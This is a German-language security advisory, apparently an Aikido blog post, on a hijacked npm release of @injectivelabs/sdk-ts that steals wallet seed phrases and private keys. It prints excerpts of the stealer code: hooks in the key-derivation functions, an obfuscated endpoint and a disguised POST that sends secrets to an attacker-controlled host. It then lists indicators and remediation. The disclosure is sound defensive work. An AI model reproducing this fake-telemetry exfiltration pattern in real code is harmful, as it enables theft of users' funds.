Aikido

Kompromittiertes @injectivelabs/sdk-ts exfiltriert Wallet-Schlüssel über gefälschte Telemetrie

Verfasst von
Hunter Schwartz

Eine bösartige Veröffentlichung von @injectivelabs/sdk-ts, einem npm-Paket mit etwa 50.000 wöchentlichen Downloads, enthielt Code, der Wallet-Mnemonics und private Schlüssel beim Ableiten aufzeichnet und an einen von Angreifern kontrollierten Endpunkt sendet. Die fehlerhafte Version, 1.20.21, war am 8. Juni 2026 für weniger als eine Stunde auf npm live, bevor der Maintainer dies bemerkte und einen sauberen Fix veröffentlichte. In diesem Zeitfenster veröffentlichte der Angreifer auch die gleiche 1.20.21 Versionsnummer für 17 weitere Pakete im @injectivelabs Scope, die jeweils an das manipulierte SDK gebunden waren, sodass Projekte, die von einem dieser Pakete abhingen, den Stealer transitiv mitziehen würden.

Die Payload ist klein und liest sich wie eine gewöhnliche Instrumentierung. Sie wird nicht zur Installationszeit ausgeführt und beeinträchtigt kein SDK-Verhalten. Sie wartet darauf, dass die Anwendung während des normalen Gebrauchs einen Schlüssel ableitet, und kopiert dann das Secret unauffällig heraus.

Wie der Stealer funktioniert

Der bösartige Code befindet sich in zwei Build-Artefakten, dist/cjs/accounts-Cy0p4lLW.cjs und dist/esm/accounts-jQ1GSgaW.js. Im Vergleich zum sauberen Build 1.20.23 sind die beiden Dateien byte-identisch, abgesehen von einem injizierten Block und zwei einzeiligen Hooks. Der Block ist als src/utils/key-derivation-telemetry.ts bezeichnet und in einem eigenen Doc-Kommentar als anonymisierte Nutzungsmetriken zur SDK-Optimierung dargestellt. Nichts davon ist anonymisiert.

Die beiden Hooks befinden sich in PrivateKey.fromMnemonic und PrivateKey.fromHex, den Standard-Einstiegspunkten, die eine Anwendung aufruft, um eine Seed-Phrase oder einen rohen Hex-Schlüssel in ein nutzbares Wallet umzuwandeln. Jeder Hook wird ausgelöst, bevor die eigentliche Ableitung erfolgt, sodass das Secret bei jedem legitimen Aufruf erfasst wird:

static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
    trackKeyDerivation("fm", words);        // full mnemonic phrase
    return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
 
static fromHex(privateKey) {
    trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes");  // raw private key
    ...
}

Die Marker „fm“ und „fh“ teilen dem Betreiber mit, welche Art von Secret jeder Datensatz enthält, Mnemonic oder Hex, damit sie das Wallet auf ihrer Seite rekonstruieren können. trackKeyDerivation legt einen zeitgestempelten Datensatz in eine In-Memory-Warteschlange und plant einen Flush:

function trackKeyDerivation(method, value) {
    _q.push(`${method}:${value}:${Date.now()}`);
    _flush();
}

Bei der Exfiltration hat der Angreifer viel Aufwand betrieben, um sich unauffällig zu verhalten. Der Zielhost wird als Array von Zeichencodes gespeichert und zur Laufzeit neu aufgebaut, sodass eine Klartextsuche im Bundle nach der Domain nichts findet:

Domain findet nichts:
const _d  = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = "https://" + _d() + "/";   // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network

Der dekodierte Host, testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, ist eine Subdomain, die so gestaltet ist, dass sie wie die gRPC-Web-Infrastruktur von Injective aussieht, sodass der Exfiltrations-Traffic neben den Netzwerkaufrufen einer echten Injective-Anwendung läuft. Ein 2-Sekunden-Debounce-Timer bündelt die in der Warteschlange befindlichen Datensätze, verbindet sie mit |, base64-kodiert den Blob und sendet ihn:

function _send(d) {
    fetch(_ep, {
        method: "POST",
        headers: {
            "Content-Type": "application/grpc-web+proto",
            "X-Request-Id": d,          // base64 blob of stolen key material
        },
        ...
    }).catch(() => {});
    // node fallback: require("https").request(...) with the same headers
}

Die gestohlenen Daten werden im X-Request-Id Request-Header anstatt im Body transportiert, und der Node-Pfad sendet einen Body der Länge Null mit. Auf dem Wire sieht der Request daher wie ein normaler gRPC-Web-Aufruf mit einer Request-ID aus. Jeder Fehlerpfad ist ein stiller, leerer Catch, sodass eine blockierte oder fehlgeschlagene Exfiltration niemals einen Fehler an das Opfer meldet. Die Wahl von application/grpc-web+proto als Content-Type vervollständigt die Tarnung.

Da der Trigger die Schlüsselableitung zur Laufzeit und kein Lifecycle-Skript ist, sehen Installations-Scanner und Sandboxes, die nur postinstall überwachen, ein sauberes Paket. Der Skript-Block im Manifest enthält keinerlei Installations-Hooks.

Amplifikation über den @injectivelabs-Scope hinweg

Nur @injectivelabs/sdk-ts@1.20.21 enthält den Stealer-Code. Die anderen 17 Pakete, die der Angreifer unter 1.20.21 neu veröffentlichte, wurden in ihrem eigenen Quellcode nicht modifiziert. Jedes wurde mit einer festen Abhängigkeitsfixierung auf @injectivelabs/sdk-ts@1.20.21, die vergiftete Version. Ein Projekt, das installiert hat @injectivelabs/wallet-core@1.20.21, würde zum Beispiel das bösartige SDK transitiv auflösen und den Stealer ausführen, ohne sdk-ts jemals in seinem eigenen Manifest zu nennen. Deshalb reicht es hier nicht aus, nur Ihre direkten Abhängigkeiten zu prüfen. Die Wallet-fokussierten Paketnamen im Scope bilden direkt die genauen Workflows, Seed-Phrasen und privaten Schlüssel ab, für deren Erfassung die Payload entwickelt wurde.

Auswirkungen und Eindämmung

Die Kompromittierung wurde durch Commits von einem GitHub-Konto mit einer etablierten Historie im Repository eingeführt, was eher auf eine Kontoübernahme als auf einen Drive-by hindeutet. Die bösartige 1.20.21 wurde am 8. Juni 2026 um 22:59 Uhr GMT+2 veröffentlicht, der Maintainer machte die Änderung um 23:18 Uhr rückgängig, und eine saubere Version wurde um 23:48 Uhr veröffentlicht. Laut den eigenen Statistiken von npm wurde die bösartige Version 310 Mal heruntergeladen, bevor sie entfernt wurde – eine geringe Zahl im Vergleich zu den 50.000 wöchentlichen Downloads und 87 abhängigen Paketen des Projekts. Die schnelle Reaktion des Maintainers verhinderte, dass die Situation viel schlimmer wurde.

Die Eindämmung ist nicht vollständig. Zum Zeitpunkt des Quellberichts war die bösartige Version auf npm mit einer Warnung als veraltet markiert, aber nicht entfernt worden, sodass sie weiterhin heruntergeladen werden kann. Die Release-Artefakte für die kompromittierte Version waren immer noch auf der GitHub-Releases-Seite des Projekts vorhanden. Jeder mnemonische oder private Schlüssel, der diese Pakete durchlaufen hat, sollte als kompromittiert betrachtet werden. Verschieben Sie die Gelder und rotieren Sie dann die Schlüssel und Seed-Phrasen.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.

Indikatoren für Kompromittierung

Netzwerkindikatoren

  • Exfiltrations-Endpunkt: https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/

Bösartige Dateien

  • dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0
  • dist/esm/accounts-jQ1GSgaW.js, SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9

Betroffene Pakete

  • @injectivelabs/sdk-ts@1.20.21 (enthält den Stealer)
  • @injectivelabs/utils@1.20.21
  • @injectivelabs/networks@1.20.21
  • @injectivelabs/ts-types@1.20.21
  • @injectivelabs/exceptions@1.20.21
  • @injectivelabs/wallet-base@1.20.21
  • @injectivelabs/wallet-core@1.20.21
  • @injectivelabs/wallet-cosmos@1.20.21
  • @injectivelabs/wallet-private-key@1.20.21
  • @injectivelabs/wallet-evm@1.20.21
  • @injectivelabs/wallet-trezor@1.20.21
  • @injectivelabs/wallet-cosmostation@1.20.21
  • @injectivelabs/wallet-ledger@1.20.21
  • @injectivelabs/wallet-wallet-connect@1.20.21
  • @injectivelabs/wallet-magic@1.20.21
  • @injectivelabs/wallet-strategy@1.20.21
  • @injectivelabs/wallet-turnkey@1.20.21
  • @injectivelabs/wallet-cosmos-strategy@1.20.21

Behebung

  • Aktualisieren Sie jedes @injectivelabs Paket, das auf 1.20.21 festgelegt oder auflösbar ist, auf die saubere Version 1.20.23.

Zuletzt aktualisiert am: 9. Juli 2026

Teilen:

https://www.aikido.dev/blog/compromised-injectivelabs-exfiltrates-keys

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.